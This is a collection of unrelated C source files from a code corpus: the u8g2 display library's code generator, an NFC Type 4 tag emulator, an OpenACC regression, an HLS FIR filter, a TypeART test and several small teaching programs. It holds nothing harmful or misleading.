do_setup_prototype(setup_code_fp, controller_idx, display_idx, postfix);
fprintf(setup_code_fp, "\n");
fprintf(setup_code_fp, "{\n");
fprintf(setup_code_fp, " uint8_t tile_buf_height;\n");
fprintf(setup_code_fp, " uint8_t *buf;\n");
fprintf(setup_code_fp, " u8g2_SetupDisplay(u8g2, u8x8_d_");
fprintf(setup_code_fp, "%s_", strlowercase(controller_list[controller_idx].name));
fprintf(setup_code_fp, "%s, ", strlowercase(controller_list[controller_idx].display_list[display_idx].name));
fprintf(setup_code_fp, "%s, ", controller_list[controller_idx].cad);
fprintf(setup_code_fp, "byte_cb, gpio_and_delay_cb);\n");
fprintf(setup_code_fp, " buf = ");
//fprintf(setup_code_fp, "u8g2_m_%s_%d_%s(&tile_buf_height);\n", strlowercase(controller_list[controller_idx].name), controller_list[controller_idx].tile_width, postfix);
fprintf(setup_code_fp, "u8g2_m_%d_%d_%s(&tile_buf_height);\n", controller_list[controller_idx].tile_width, controller_list[controller_idx].tile_height, postfix);
fprintf(setup_code_fp, " u8g2_SetupBuffer(u8g2, buf, tile_buf_height, %s, rotation);\n", controller_list[controller_idx].ll_hvline);
fprintf(setup_code_fp, "}\n");
/* generate interfaces for this display */
if ( controller_list[controller_idx].com & COM_4WSPI )
{
do_display_interface(controller_idx, display_idx, postfix, 0); /* SW SPI */
do_display_interface(controller_idx, display_idx, postfix, 1); /* HW SPI */
do_display_interface(controller_idx, display_idx, postfix, 12); /* 2nd HW SPI */
}
if ( controller_list[controller_idx].com & COM_3WSPI )
{
do_display_interface(controller_idx, display_idx, postfix, 4); /* 3wire SW SPI */
do_display_interface(controller_idx, display_idx, postfix, 5); /* 3wire HW SPI (not implemented) */
}
if ( controller_list[controller_idx].com & COM_6800 )
{
do_display_interface(controller_idx, display_idx, postfix, 2); /* 6800 mode */
}
if ( controller_list[controller_idx].com & COM_8080 )
{
do_display_interface(controller_idx, display_idx, postfix, 3); /* 8080 mode */
}
if ( controller_list[controller_idx].com & COM_I2C )
{
do_display_interface(controller_idx, display_idx, postfix, 6); /* SW I2C */
do_display_interface(controller_idx, display_idx, postfix, 7); /* HW I2C */
do_display_interface(controller_idx, display_idx, postfix, 10); /* 2nd HW I2C */
}
if ( controller_list[controller_idx].com & COM_ST7920SPI )
{
do_display_interface(controller_idx, display_idx, postfix, 8); /* ST7920 SW SPI */
do_display_interface(controller_idx, display_idx, postfix, 9); /* HW SPI */
do_display_interface(controller_idx, display_idx, postfix, 14); /* 2ND HW SPI */
}
if ( controller_list[controller_idx].com & COM_UART )
{
/* currently there is no Arduino C++ interface, instead the interface is created manually in the example */
}
if ( controller_list[controller_idx].com & COM_KS0108 )
{
do_display_interface(controller_idx, display_idx, postfix, 11); /* KS0108 6800 parallel mode */
}
if ( controller_list[controller_idx].com & COM_SED1520 )
{
do_display_interface(controller_idx, display_idx, postfix, 13);
}
}
void do_controller_buffer_code(int idx, const char *postfix, int buf_len, int rows)
{
int display_idx;
char s[1024];
//sprintf(s, "u8g2_m_%s_%d_%d_%s", strlowercase(controller_list[idx].name), controller_list[idx].tile_width, controller_list[idx].tile_height, postfix);
/* this should fix #370, additionally the controller is removed (hope that this will not break anything) */
sprintf(s, "u8g2_m_%d_%d_%s", controller_list[idx].tile_width, controller_list[idx].tile_height, postfix);
if ( str_exists(s) == 0 )
{
str_add(s);
//FILE *fp = stdout;
fprintf(buf_code_fp, "uint8_t *%s(uint8_t *page_cnt)\n", s);
fprintf(buf_code_fp, "{\n");
fprintf(buf_code_fp, " #ifdef U8G2_USE_DYNAMIC_ALLOC\n");
fprintf(buf_code_fp, " *page_cnt = %d;\n", rows);
fprintf(buf_code_fp, " return 0;\n");
fprintf(buf_code_fp, " #else\n");
fprintf(buf_code_fp, " static uint8_t buf[%d];\n", buf_len);
fprintf(buf_code_fp, " *page_cnt = %d;\n", rows);
fprintf(buf_code_fp, " return buf;\n");
fprintf(buf_code_fp, " #endif\n");
fprintf(buf_code_fp, "}\n");
fprintf(buf_header_fp, "uint8_t *%s(uint8_t *page_cnt);\n", s);
}
display_idx = 0;
fprintf(setup_code_fp, "/* %s %s */\n", controller_list[idx].name, postfix);
while( controller_list[idx].display_list[display_idx].name != NULL )
{
do_display(idx, display_idx, postfix);
display_idx++;
}
}
void do_controller_list(void)
{
int i;
for( i = 0; i < sizeof(controller_list)/sizeof(*controller_list); i++ )
{
printf("%s: ",controller_list[i].name);
fprintf(setup_code_fp, "/* %s */\n", controller_list[i].name);
do_controller_buffer_code(i, "1", controller_list[i].tile_width*8, 1);
do_controller_buffer_code(i, "2", controller_list[i].tile_width*8*2, 2);
do_controller_buffer_code(i, "f", controller_list[i].tile_width*8*controller_list[i].tile_height, controller_list[i].tile_height);
printf("\n");
}
}
int is_arduino_cpp = 1;
int is_u8g2 = 1;
FILE *md_fp;
void do_md_display(int controller_idx, int display_idx)
{
FILE *fp = md_fp;
/*
fprintf(fp, "%s:", controller_list[controller_idx].name);
fprintf(fp, "%s\n", controller_list[controller_idx].display_list[display_idx].name);
*/
if ( is_u8g2 )
{
fprintf(fp, "\n");
fprintf(fp, "## %s ", struppercase(controller_list[controller_idx].name));
fprintf(fp, "%s", struppercase(controller_list[controller_idx].display_list[display_idx].name));
fprintf(fp, "\n");
#ifdef MD_TABLES
fprintf(fp, "| Controller \"%s\", ", controller_list[controller_idx].name);
fprintf(fp, "Display \"%s\" | ", controller_list[controller_idx].display_list[display_idx].name);
fprintf(fp, "Description |\n");
fprintf(fp, "|---|---|\n");
#else
fprintf(fp, "Controller \"%s\", ", controller_list[controller_idx].name);
fprintf(fp, "Display \"%s\" ", controller_list[controller_idx].display_list[display_idx].name);
fprintf(fp, "[Description]\n");
#endif
}
else
{
if ( is_u8g2 != 0 || strcmp(controller_list[controller_idx].ll_hvline, U8X8_HVLINE ) == 0 )
{
fprintf(fp, "\n");
fprintf(fp, "## %s ", struppercase(controller_list[controller_idx].name));
fprintf(fp, "%s", struppercase(controller_list[controller_idx].display_list[display_idx].name));
fprintf(fp, "\n");
fprintf(fp, "| Controller \"%s\", ", controller_list[controller_idx].name);
fprintf(fp, "Display \"%s\" |\n", controller_list[controller_idx].display_list[display_idx].name);
fprintf(fp, "|---|\n");
}
}
}
void do_md_display_interface_buffer(int controller_idx, int display_idx, int interface_idx, char *postfix, int size, int rows)
{
FILE *fp = md_fp;
#ifdef MD_TABLES
if ( is_u8g2 )
{
if ( is_arduino_cpp )
{
fprintf(fp, "| U8G2_");
fprintf(fp, "%s_", struppercase(controller_list[controller_idx].name));
fprintf(fp, "%s_", struppercase(controller_list[controller_idx].display_list[display_idx].name));
fprintf(fp, "%s", struppercase(postfix));
if ( interface_list[interface_idx].interface_name[0] != '\0' )
fprintf(fp, "_%s", struppercase(interface_list[interface_idx].interface_name));
fprintf(fp, "(rotation, %s)", interface_list[interface_idx].pins_md_plain);
if ( postfix[0] == 'f' )
{
fprintf(fp, " | full framebuffer, size = %d bytes |\n", size);
}
else
{
fprintf(fp, " | page buffer, size = %d bytes |\n", size);
}
}
else
{
fprintf(fp, "| ");
fprintf(fp, "%s", get_setup_function_name(controller_idx, display_idx, postfix));
fprintf(fp, "(u8g2, ");
fprintf(fp, "rotation, ");
fprintf(fp, "%s, ", interface_list[interface_idx].generic_com_procedure);
fprintf(fp, "%s)", "uC specific");
if ( postfix[0] == 'f' )
{
fprintf(fp, " | full framebuffer, size = %d bytes |\n", size);
}
else
{
fprintf(fp, " | page buffer, size = %d bytes |\n", size);
}
}
}
#else
if ( is_u8g2 )
{
if ( is_arduino_cpp )
{
fprintf(fp, " * U8G2_");
fprintf(fp, "%s_", struppercase(controller_list[controller_idx].name));
fprintf(fp, "%s_", struppercase(controller_list[controller_idx].display_list[display_idx].name));
fprintf(fp, "%s", struppercase(postfix));
if ( interface_list[interface_idx].interface_name[0] != '\0' )
fprintf(fp, "_%s", struppercase(interface_list[interface_idx].interface_name));
fprintf(fp, "(rotation, %s)", interface_list[interface_idx].pins_md_plain);
if ( postfix[0] == 'f' )
{
fprintf(fp, " [full framebuffer, size = %d bytes]\n", size);
}
else
{
fprintf(fp, " [page buffer, size = %d bytes]\n", size);
}
}
else
{
fprintf(fp, " * ");
fprintf(fp, "%s", get_setup_function_name(controller_idx, display_idx, postfix));
fprintf(fp, "(u8g2, ");
fprintf(fp, "rotation, ");
fprintf(fp, "%s, ", interface_list[interface_idx].generic_com_procedure);
fprintf(fp, "%s)", "uC specific");
if ( postfix[0] == 'f' )
{
fprintf(fp, " [full framebuffer, size = %d bytes]\n", size);
}
else
{
fprintf(fp, " [page buffer, size = %d bytes]\n", size);
}
}
}
#endif
}
void do_md_display_interface(int controller_idx, int display_idx, int interface_idx)
{
FILE *fp = md_fp;
if ( !is_u8g2 )
{
if ( strcmp(controller_list[controller_idx].ll_hvline, U8X8_HVLINE ) == 0 )
{
if ( is_arduino_cpp )
{
fprintf(fp, "| U8X8_");
fprintf(fp, "%s_", struppercase(controller_list[controller_idx].name));
fprintf(fp, "%s", struppercase(controller_list[controller_idx].display_list[display_idx].name));
if ( interface_list[interface_idx].interface_name[0] != '\0' )
fprintf(fp, "_%s", struppercase(interface_list[interface_idx].interface_name));
fprintf(fp, "(%s) |\n", interface_list[interface_idx].pins_md_plain);
}
else
{
fprintf(fp, "| u8x8_Setup(u8x8_d_");
fprintf(fp, "%s_", strlowercase(controller_list[controller_idx].name));
fprintf(fp, "%s, ", strlowercase(controller_list[controller_idx].display_list[display_idx].name));
fprintf(fp, "%s, ", strlowercase(controller_list[controller_idx].cad));
fprintf(fp, "%s, ", strlowercase(interface_list[interface_idx].generic_com_procedure));
fprintf(fp, "uC specific) |\n");
}
}
}
do_md_display_interface_buffer(controller_idx, display_idx, interface_idx, "1", controller_list[controller_idx].tile_width*8, 1);
do_md_display_interface_buffer(controller_idx, display_idx, interface_idx, "2", controller_list[controller_idx].tile_width*8*2, 2);
do_md_display_interface_buffer(controller_idx, display_idx, interface_idx, "f", controller_list[controller_idx].tile_width*8*controller_list[controller_idx].tile_height, controller_list[controller_idx].tile_height);
}
void do_md_controller_list(void)
{
int controller_idx, display_idx;
for( controller_idx = 0; controller_idx < sizeof(controller_list)/sizeof(*controller_list); controller_idx++ )
{
display_idx = 0;
while( controller_list[controller_idx].display_list[display_idx].name != NULL )
{
do_md_display(controller_idx, display_idx);
/* generate interfaces for this display */
if ( controller_list[controller_idx].com & COM_4WSPI )
{
do_md_display_interface(controller_idx, display_idx, 0); /* SW SPI */
if ( is_arduino_cpp )
{
do_md_display_interface(controller_idx, display_idx, 1); /* HW SPI */
do_md_display_interface(controller_idx, display_idx, 12); /* 2nd HW SPI */
}
}
if ( controller_list[controller_idx].com & COM_3WSPI )
{
do_md_display_interface(controller_idx, display_idx, 4); /* 3wire SW SPI */
do_md_display_interface(controller_idx, display_idx, 5); /* 3wire HW SPI (not implemented) */
}
if ( controller_list[controller_idx].com & COM_6800 )
{
do_md_display_interface(controller_idx, display_idx, 2); /* 6800 mode */
}
if ( controller_list[controller_idx].com & COM_8080 )
{
do_md_display_interface(controller_idx, display_idx, 3); /* 8080 mode */
}
if ( controller_list[controller_idx].com & COM_I2C )
{
do_md_display_interface(controller_idx, display_idx, 6); /* SW I2C */
do_md_display_interface(controller_idx, display_idx, 7); /* HW I2C */
do_md_display_interface(controller_idx, display_idx, 10); /* 2nd HW I2C */
}
if ( controller_list[controller_idx].com & COM_ST7920SPI )
{
do_md_display_interface(controller_idx, display_idx, 8); /* ST7920 SW SPI */
do_md_display_interface(controller_idx, display_idx, 9); /* HW SPI (not yet implemented) */
do_md_display_interface(controller_idx, display_idx, 14); /* 2ND HW SPI */
}
if ( controller_list[controller_idx].com & COM_KS0108 )
{
do_md_display_interface(controller_idx, display_idx, 11); /* KS0108 */
}
if ( controller_list[controller_idx].com & COM_SED1520 )
{
do_md_display_interface(controller_idx, display_idx, 13); /* SED1520 */
}
display_idx++;
}
}
}
int main(void)
{
buf_code_fp = fopen("u8g2_d_memory.c", "w");
fprintf(buf_code_fp, "/* u8g2_d_memory.c */\n");
fprintf(buf_code_fp, "/* generated code, codebuild, u8g2 project */\n");
fprintf(buf_code_fp, "\n");
fprintf(buf_code_fp, "#include \"u8g2.h\"\n");
fprintf(buf_code_fp, "\n");
buf_header_fp = fopen("u8g2_memory.h", "w");
//fprintf(buf_header_fp, "/* start of generated code, codebuild, u8g2 project */\n");
setup_code_fp = fopen("u8g2_d_setup.c", "w");
fprintf(setup_code_fp, "/* u8g2_d_setup.c */\n");
fprintf(setup_code_fp, "/* generated code, codebuild, u8g2 project */\n");
fprintf(setup_code_fp, "\n");
fprintf(setup_code_fp, "#include \"u8g2.h\"\n");
fprintf(setup_code_fp, "\n");
setup_header_fp = fopen("u8g2_setup.h", "w");
//fprintf(setup_header_fp, "/* start of generated code, codebuild, u8g2 project */\n");
u8g2_cpp_header_fp = fopen("U8g2lib.h", "w");
fprintf(u8g2_cpp_header_fp, "/* generated code (codebuild), u8g2 project */\n");
u8x8_cpp_header_fp = fopen("U8x8lib.h", "w");
fprintf(u8x8_cpp_header_fp, "/* generated code (codebuild), u8g2 project */\n");
u8x8_setup_c_md_fp = fopen("u8x8setupc.md", "w");
u8x8_setup_cpp_md_fp = fopen("u8x8setupcpp.md", "w");
u8g2_setup_c_md_fp = fopen("u8g2setupc.md", "w");
u8g2_setup_cpp_md_fp = fopen("u8g2setupcpp.md", "w");
do_controller_list();
md_fp = u8g2_setup_cpp_md_fp;
is_arduino_cpp = 1;
is_u8g2 = 1;
do_md_controller_list();
md_fp = u8g2_setup_c_md_fp;
is_arduino_cpp = 0;
is_u8g2 = 1;
do_md_controller_list();
md_fp = u8x8_setup_cpp_md_fp;
is_arduino_cpp = 1;
is_u8g2 = 0;
do_md_controller_list();
md_fp = u8x8_setup_c_md_fp;
is_arduino_cpp = 0;
is_u8g2 = 0;
do_md_controller_list();
fprintf(buf_code_fp, "/* end of generated code */\n");
fclose(buf_code_fp);
//fprintf(buf_header_fp, "/* end of generated code */\n");
fclose(buf_header_fp);
fprintf(setup_code_fp, "/* end of generated code */\n");
fclose(setup_code_fp);
//fprintf(setup_header_fp, "/* end of generated code */\n");
fclose(setup_header_fp);
fclose(u8g2_cpp_header_fp);
fclose(u8x8_cpp_header_fp);
fclose(u8x8_setup_c_md_fp);
fclose(u8x8_setup_cpp_md_fp);
fclose(u8g2_setup_c_md_fp);
fclose(u8g2_setup_cpp_md_fp);
system("cp u8g2_d_memory.c ../../csrc/.");
puts("generate u8g2_d_memory.c");
system("cp u8g2_d_setup.c ../../csrc/.");
puts("generate u8g2_d_setup.c");
insert_into_file("../../csrc/u8g2.h", "u8g2_memory.h", "/* u8g2_d_memory.c generated code start */", "/* u8g2_d_memory.c generated code end */");
insert_into_file("../../csrc/u8g2.h", "u8g2_setup.h", "/* u8g2_d_setup.c generated code start */", "/* u8g2_d_setup.c generated code end */");
insert_into_file("../../cppsrc/U8g2lib.h", "U8g2lib.h", "/* Arduino constructor list start */", "/* Arduino constructor list end */");
insert_into_file("../../cppsrc/U8x8lib.h", "U8x8lib.h", "// constructor list start", "// constructor list end");
insert_into_file("../../../u8g2.wiki/u8g2setupc.md", "u8g2setupc.md", "# Setup Function Reference", "# Links");
insert_into_file("../../../u8g2.wiki/u8g2setupcpp.md", "u8g2setupcpp.md", "# Constructor Reference", "# Links");
insert_into_file("../../../u8g2.wiki/u8x8setupc.md", "u8x8setupc.md", "# Setup Function Reference", "# Links");
insert_into_file("../../../u8g2.wiki/u8x8setupcpp.md", "u8x8setupcpp.md", "# Constructor Reference", "# Links");
return 0;
}
|
the_stack_data/70449245.c | #include <stdio.h>
#define SIZE 20
int main(void)
{
char word[SIZE];
puts("Enter string:");
fgets(word, 20, stdin);
puts("What in new string?");
fputs(word, stdout);
putchar('\n');
printf("%s\n", word);
int i;
for(i=0;i<SIZE;i++)
printf("#%d = %c = %d\n", i, word[i], word[i]);
return 0;
}
|
the_stack_data/165767289.c | #include <stdio.h>
int main() {
// ToDo
return 0;
} |
the_stack_data/123899.c | #include <curses.h>
#include <menu.h>
#include <stdlib.h>
#define ARRAY_SIZE(a) (sizeof(a) / sizeof(a[0]))
#define CTRLD 4
/**
* main method for ncurses interface.
* @return
*/
int main() {
}
|
the_stack_data/645658.c | #include <stdlib.h>
#include <math.h>
#include <stdio.h>
#include <omp.h>
int main(int argc, char **argv) {
double *x, *y, time_start, time_end;
double SUMx, SUMy, SUMxy, SUMxx, SUMres, res, slope, y_intercept, y_estimate;
int i, j, n;
/*int new_sleep (int seconds);*/
FILE *infile;
infile = fopen("xydata", "r");
if (infile == NULL)
printf("error opening file\n");
fscanf(infile, "%d", &n);
x = (double *)malloc(n * sizeof(double));
y = (double *)malloc(n * sizeof(double));
for (i = 0; i < n; i++)
fscanf(infile, "%lf %lf", &x[i], &y[i]);
time_start = omp_get_wtime();
SUMx = 0;
SUMy = 0;
SUMxy = 0;
SUMxx = 0;
#pragma acc parallel loop copyin(x[0:n], y[0:n]) reduction(+:SUMx, SUMy, SUMxy, SUMxx)
for (j = 0; j < n; j++) {
SUMx = SUMx + x[j];
SUMy = SUMy + y[j];
SUMxy = SUMxy + x[j] * y[j];
SUMxx = SUMxx + x[j] * x[j];
}
slope = (SUMx * SUMy - n * SUMxy) / (SUMx * SUMx - n * SUMxx);
y_intercept = (SUMy - slope * SUMx) / n;
SUMres = 0;
#pragma acc parallel loop copyin(x[0:n], y[0:n]) reduction(+:SUMres)
for (i = 0; i < n; i++) {
y_estimate = slope * x[i] + y_intercept;
res = y[i] - y_estimate;
SUMres = SUMres + res * res;
}
time_end = omp_get_wtime();
printf("Equation: y = %6.2lfx + %6.2lf\t", slope, y_intercept);
printf("Residual sum = %6.2lf\t", SUMres);
printf("ACC version. \tn = %d. \t\tTime elapsed proccesses: %1.6f\n", n, time_end - time_start);
return 0;
} |
the_stack_data/120642.c | # 1 "/afs/ece.cmu.edu/usr/markb1/Documents/fpga_sandbox/RecComp/Lab2/ug871-design-files/Introduction/lab1/fir.c"
# 1 "<built-in>"
# 1 "<command-line>"
# 1 "/afs/ece.cmu.edu/usr/markb1/Documents/fpga_sandbox/RecComp/Lab2/ug871-design-files/Introduction/lab1/fir.c"
# 46 "/afs/ece.cmu.edu/usr/markb1/Documents/fpga_sandbox/RecComp/Lab2/ug871-design-files/Introduction/lab1/fir.c"
# 1 "/afs/ece.cmu.edu/usr/markb1/Documents/fpga_sandbox/RecComp/Lab2/ug871-design-files/Introduction/lab1/fir.h" 1
# 50 "/afs/ece.cmu.edu/usr/markb1/Documents/fpga_sandbox/RecComp/Lab2/ug871-design-files/Introduction/lab1/fir.h"
typedef int coef_t;
typedef int data_t;
typedef int acc_t;
void fir (
data_t *y,
coef_t c[11 +1],
data_t x
);
# 47 "/afs/ece.cmu.edu/usr/markb1/Documents/fpga_sandbox/RecComp/Lab2/ug871-design-files/Introduction/lab1/fir.c" 2
void fir (
data_t *y,
coef_t c[11],
data_t x
) {
static data_t shift_reg[11];
acc_t acc;
data_t data;
int i;
acc=0;
Shift_Accum_Loop: for (i=11 -1;i>=0;i--) {
if (i==0) {
shift_reg[0]=x;
data = x;
} else {
shift_reg[i]=shift_reg[i-1];
data = shift_reg[i];
}
acc+=data*c[i];;
}
*y=acc;
}
|
the_stack_data/31389109.c | #include<stdio.h>
#include<math.h>
#define BASE 13
int main(){
int a = 3600 ;
int d = log(a)/log(BASE)+1;
printf("%d needs %d digits in base %d\n", a, d, BASE);
return 0;
}
|
the_stack_data/107104.c | static int a;
extern int c;
int foo() {
static int b;
b = 1;
return b;
}
int c;
int main() {
extern int a;
static int b;
{
static int a = 2;
b = a;
}
c = 1;
return a + b + c + foo();
}
int c;
static int a = 3;
|
the_stack_data/646883.c | #include <stdio.h>
#define SQUARE(x) (x * x)
#define SUM(x, y) (x + y)
#define SUMUL(x, y, z) (x + y * z)
#define MULSUM(x, y, z) ((x + x) * (y + y))
int main()
{
int a = 5, b = 10, c = 15;
printf("SQUARE: %d\n", SQUARE(a));
printf("SUM: %d\n", SUM(a, b));
printf("SUMUL: %d\n", SUMUL(a, b, c));
printf("MULSUM: %d\n", MULSUM(a, b, c));
} |
the_stack_data/25138369.c | /*
* Copyright (c), NXP Semiconductors Caen / France
*
* (C)NXP Semiconductors
* All rights are reserved. Reproduction in whole or in part is
* prohibited without the written consent of the copyright owner.
* NXP reserves the right to make changes without notice at any time.
* NXP makes no warranty, expressed, implied or statutory, including but
* not limited to any implied warranty of merchantability or fitness for any
*particular purpose, or that the use will not infringe any third party patent,
* copyright or trademark. NXP must not be liable for any loss or damage
* arising from its use.
*/
#ifdef CARDEMU_SUPPORT
#ifndef NO_NDEF_SUPPORT
#include <TML/inc/tool.h>
#include <NfcLibrary/NdefLibrary/inc/T4T_NDEF_emu.h>
const unsigned char T4T_NDEF_EMU_APP_Select[] = {0x00,0xA4,0x04,0x00,0x07,0xD2,0x76,0x00,0x00,0x85,0x01,0x01};
const unsigned char T4T_NDEF_EMU_CC[] = {0x00, 0x0F, 0x20, 0x00, 0xFF, 0x00, 0xFF, 0x04, 0x06, 0xE1, 0x04, 0x00, 0xFF, 0x00, 0xFF};
const unsigned char T4T_NDEF_EMU_CC_Select[] = {0x00,0xA4,0x00,0x0C,0x02,0xE1,0x03};
const unsigned char T4T_NDEF_EMU_NDEF_Select[] = {0x00,0xA4,0x00,0x0C,0x02,0xE1,0x04};
const unsigned char T4T_NDEF_EMU_Read[] = {0x00,0xB0};
const unsigned char T4T_NDEF_EMU_OK[] = {0x90, 0x00};
const unsigned char T4T_NDEF_EMU_NOK[] = {0x6A, 0x82};
unsigned char *pT4T_NdefMessage;
unsigned short T4T_NdefMessage_size = 0;
typedef enum
{
Ready,
NDEF_Application_Selected,
CC_Selected,
NDEF_Selected,
} T4T_NDEF_EMU_state_t;
typedef void T4T_NDEF_EMU_Callback_t (unsigned char*, unsigned short);
static T4T_NDEF_EMU_state_t eT4T_NDEF_EMU_State = Ready;
static T4T_NDEF_EMU_Callback_t *pT4T_NDEF_EMU_PushCb = NULL;
static void T4T_NDEF_EMU_FillRsp (unsigned char *pRsp, unsigned short offset, unsigned char length)
{
if (offset == 0)
{
pRsp[0] = (T4T_NdefMessage_size & 0xFF00) >> 8;
pRsp[1] = (T4T_NdefMessage_size & 0x00FF);
memcpy(&pRsp[2], &pT4T_NdefMessage[0], length-2);
}
else if (offset == 1)
{
pRsp[0] = (T4T_NdefMessage_size & 0x00FF);
memcpy(&pRsp[1], &pT4T_NdefMessage[0], length-1);
}
else
{
memcpy(pRsp, &pT4T_NdefMessage[offset-2], length);
}
/* Did we reached the end of NDEF message ?*/
if ((offset + length) >= (T4T_NdefMessage_size + 2))
{
/* Notify application of the NDEF send */
if(pT4T_NDEF_EMU_PushCb != NULL) pT4T_NDEF_EMU_PushCb(pT4T_NdefMessage, T4T_NdefMessage_size);
}
}
bool T4T_NDEF_EMU_SetMessage(unsigned char *pMessage, unsigned short Message_size, void *pCb)
{
pT4T_NdefMessage = pMessage;
T4T_NdefMessage_size = Message_size;
pT4T_NDEF_EMU_PushCb = (T4T_NDEF_EMU_Callback_t*) pCb;
return true;
}
void T4T_NDEF_EMU_Reset(void)
{
eT4T_NDEF_EMU_State = Ready;
}
void T4T_NDEF_EMU_Next(unsigned char *pCmd, unsigned short Cmd_size, unsigned char *pRsp, unsigned short *pRsp_size)
{
bool eStatus = false;
if (!memcmp(pCmd, T4T_NDEF_EMU_APP_Select, sizeof(T4T_NDEF_EMU_APP_Select)))
{
*pRsp_size = 0;
eStatus = true;
eT4T_NDEF_EMU_State = NDEF_Application_Selected;
}
else if (!memcmp(pCmd, T4T_NDEF_EMU_CC_Select, sizeof(T4T_NDEF_EMU_CC_Select)))
{
if(eT4T_NDEF_EMU_State == NDEF_Application_Selected)
{
*pRsp_size = 0;
eStatus = true;
eT4T_NDEF_EMU_State = CC_Selected;
}
}
else if (!memcmp(pCmd, T4T_NDEF_EMU_NDEF_Select, sizeof(T4T_NDEF_EMU_NDEF_Select)))
{
*pRsp_size = 0;
eStatus = true;
eT4T_NDEF_EMU_State = NDEF_Selected;
}
else if (!memcmp(pCmd, T4T_NDEF_EMU_Read, sizeof(T4T_NDEF_EMU_Read)))
{
if(eT4T_NDEF_EMU_State == CC_Selected)
{
memcpy(pRsp, T4T_NDEF_EMU_CC, sizeof(T4T_NDEF_EMU_CC));
*pRsp_size = sizeof(T4T_NDEF_EMU_CC);
eStatus = true;
}
else if (eT4T_NDEF_EMU_State == NDEF_Selected)
{
unsigned short offset = (pCmd[2] << 8) + pCmd[3];
unsigned char length = pCmd[4];
if(length <= (T4T_NdefMessage_size + offset + 2))
{
T4T_NDEF_EMU_FillRsp(pRsp, offset, length);
*pRsp_size = length;
eStatus = true;
}
}
}
if (eStatus == true)
{
memcpy(&pRsp[*pRsp_size], T4T_NDEF_EMU_OK, sizeof(T4T_NDEF_EMU_OK));
*pRsp_size += sizeof(T4T_NDEF_EMU_OK);
} else
{
memcpy(pRsp, T4T_NDEF_EMU_NOK, sizeof(T4T_NDEF_EMU_NOK));
*pRsp_size = sizeof(T4T_NDEF_EMU_NOK);
T4T_NDEF_EMU_Reset();
}
}
#endif
#endif
|
the_stack_data/86839.c | #include <stdio.h>
#define nil NULL
#define nul '\0'
int
fib(n)
{
int t = 0, j = 1, i = 1;
while(n >= 2)
{
t = i;
i += j;
j = t;
n--;
}
return i;
}
int
main()
{
int i = 0;
while(i < 21)
{
printf("fib(%d) = %d\n",i,fib(i));
i++;
}
}
|
the_stack_data/31388281.c | // RUN: %scriptpath/applyAndRun.sh %s %pluginpath "-typeart-alloca" %rtpath 2>&1 | FileCheck %s
// XFAIL: *
#include <stdlib.h>
int main(int argc, char** argv) {
const int n = 42;
// CHECK: [Trace] TypeART Runtime Trace
// CHECK: [Trace] Alloc 0x{{.*}} uint32 1 42
unsigned char* a = (unsigned char*)malloc(n * sizeof(unsigned char));
// CHECK: [Trace] Free 0x{{.*}}
free(a);
// CHECK: [Trace] Alloc 0x{{.*}} uint16 2 42
unsigned short* b = (unsigned short*)malloc(n * sizeof(unsigned short));
// CHECK: [Trace] Free 0x{{.*}}
free(b);
// CHECK: [Trace] Alloc 0x{{.*}} uint32 4 42
unsigned int* c = (unsigned int*)malloc(n * sizeof(unsigned int));
// CHECK: [Trace] Free 0x{{.*}}
free(c);
// CHECK: [Trace] Alloc 0x{{.*}} uint64 8 42
unsigned long* d = (unsigned long*)malloc(n * sizeof(unsigned long));
// CHECK: [Trace] Free 0x{{.*}}
free(d);
return 0;
}
|
the_stack_data/111076976.c | #include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
int stub_function(int input) {
printf("Message from C stub : %d\n", input);
return input * 3;
}
void print_function(char *str) {
printf("%s", str);
}
uint8_t* read_10_mb(char *filename) {
int f;
uint8_t *ptr;
ptr = (uint8_t *) malloc(10000000);
if (ptr == NULL) {
fprintf(stderr, "Error allocating 10MB of memory\n");
return (void *) 0;
}
memset(ptr, 0, 10000000);
f = open(filename, O_RDONLY);
if (f == -1) {
fprintf(stderr, "Error opening file: %s\n", filename);
return (void *) 0;
}
close(f);
return ptr;
}
|
the_stack_data/407959.c | /***
* This code is a part of EvoApproxLib library (ehw.fit.vutbr.cz/approxlib) distributed under The MIT License.
* When used, please cite the following article(s): V. Mrazek, L. Sekanina, Z. Vasicek "Libraries of Approximate Circuits: Automated Design and Application in CNN Accelerators" IEEE Journal on Emerging and Selected Topics in Circuits and Systems, Vol 10, No 4, 2020
* This file contains a circuit from a sub-set of pareto optimal circuits with respect to the pwr and mre parameters
***/
// MAE% = 24.12 %
// MAE = 1976
// WCE% = 96.50 %
// WCE = 7905
// WCRE% = 100.00 %
// EP% = 96.50 %
// MRE% = 100.00 %
// MSE = 70690.462e2
// PDK45_PWR = 0.000 mW
// PDK45_AREA = 0.0 um2
// PDK45_DELAY = 0.00 ns
#include <stdint.h>
#include <stdlib.h>
uint64_t mul8x5u_541(const uint64_t A,const uint64_t B)
{
uint64_t O;
O = 0;
O |= (0&1) << 0;
O |= (0&1) << 1;
O |= (0&1) << 2;
O |= (0&1) << 3;
O |= (0&1) << 4;
O |= (0&1) << 5;
O |= (0&1) << 6;
O |= (0&1) << 7;
O |= (0&1) << 8;
O |= (0&1) << 9;
O |= (0&1) << 10;
O |= (0&1) << 11;
O |= (0&1) << 12;
return O;
}
|
the_stack_data/153267273.c | int a;
int foo()
{
int a;
return a * a + a;
}
int b;
int main()
{
int a;
a = a + a * a;
a = foo(a, b);
return a;
} |
the_stack_data/118048.c | /*-----------------------------------------------------------------
vprintf.c - formatted output conversion
Copyright (C) 1999, Martijn van Balen <aed AT iae.nl>
Refactored by - Maarten Brock (2004)
This library is free software; you can redistribute it and/or modify it
under the terms of the GNU General Public License as published by the
Free Software Foundation; either version 2, or (at your option) any
later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this library; see the file COPYING. If not, write to the
Free Software Foundation, 51 Franklin Street, Fifth Floor, Boston,
MA 02110-1301, USA.
As a special exception, if you link this library with other files,
some of which are compiled with SDCC, to produce an executable,
this library does not by itself cause the resulting executable to
be covered by the GNU General Public License. This exception does
not however invalidate any other reasons why the executable file
might be covered by the GNU General Public License.
kio 2014-11-16 split file into separate files for each defined symbol
_printf.c
_vprintf.c
_put_char_to_stdout.c (was static)
kio 2014-11-26 removed keyword REENTRANT because functions in the z80 port are always reentrant
*/
#include <stdarg.h>
#include <stdio.h>
void put_char_to_stdout (char c, void* p)
{
